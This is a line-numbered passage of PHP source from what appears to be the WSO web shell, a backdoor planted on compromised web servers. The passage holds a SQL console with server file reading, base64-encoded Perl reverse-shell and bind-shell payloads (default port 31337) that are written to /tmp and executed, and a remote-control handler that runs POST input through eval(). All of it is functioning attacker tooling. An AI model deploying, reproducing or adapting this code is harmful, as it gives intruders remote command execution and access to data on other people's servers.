1902 $line = 2;
1903 }
1904 echo '<tr class="l'.$line.'">';
1905 $line = $line==1?2:1;
1906 foreach($item as $key => $value) {
1907 if($value == null)
1908 echo '<td><i>null</i></td>';
1909 else
1910 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1911 }
1912 echo '</tr>';
1913 }
1914 echo '</table>';
1915 } else {
1916 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1917 }
1918 }
1919 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1920 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1921 echo htmlspecialchars($_POST['p2']);
1922 echo "</textarea><br/><input type=submit value='Execute'>";
1923 echo "</td></tr>";
1924 }
1925 echo "</table></form><br/>";
1926 if($_POST['type']=='mysql') {
1927 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1928 if($db->fetch())
1929 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1930 }
1931 if(@$_POST['p1'] == 'loadfile') {
1932 $file = $db->loadFile($_POST['p2']);
1933 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1934 }
1935 } else {
1936 echo htmlspecialchars($db->error());
1937 }
1938 echo '</div>';
1939 wsoFooter();
1940}
1941function actionNetwork() {
1942 wsoHeader();
1943 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1944 echo "<h1>Network tools</h1><div class=content>
1945
1946 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1947 <span>Bind port to /bin/sh [perl]</span><br/>
1948 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1949 </form>
1950 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1951 <span>Back-connect [perl]</span><br/>
1952 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1953
1954 </form><br>";
1955 if(isset($_POST['p1'])) {
1956 function cf($f,$t) {
1957 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1958 if($w){
1959 @fwrite($w,@base64_decode($t));
1960 @fclose($w);
1961 }
1962 }
1963 if($_POST['p1'] == 'bpp') {
1964 cf("/tmp/bp.pl",$bind_port_p);
1965 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1966 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1967 unlink("/tmp/bp.pl");
1968 }
1969 if($_POST['p1'] == 'bcp') {
1970 cf("/tmp/bc.pl",$back_connect_p);
1971 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1972 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1973 unlink("/tmp/bc.pl");
1974 }
1975 }
1976 echo '</div>';
1977 wsoFooter();
1978}
1979function actionRC() {
1980 if(!@$_POST['p1']) {
1981 $a = array(
1982 "uname" => php_uname(),
1983 "php_version" => phpversion(),
1984 "wso_version" => WSO_VERSION,
1985 "safemode" => @ini_get('safe_mode')
1986 );
1987 echo serialize($a);
1988 } else {
1989 eval($_POST['p1']);
1990 }
1991}
1992if( empty($_POST['a']) )
1993 if(isset($default_action) && function_exists('action' . $default_action))
1994 $_POST['a'] = $default_action;
1995 else
1996 $_POST['a'] = 'SecInfo';
1997if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1998 call_user_func('action' . $_POST['a']);
1999function FetchURL($url) {
2000 $ch = curl_init();
2001 curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
2002 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2003 curl_setopt($ch, CURLOPT_HEADER, false);
2004 curl_setopt($ch, CURLOPT_URL, $url);
2005 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2006 curl_setopt($ch, CURLOPT_TIMEOUT, 30);
2007 $data = curl_exec($ch);
2008 if(!$data) {
2009 return false;
2010 }
2011 return $data;
2012 }
2013exit;
2014?>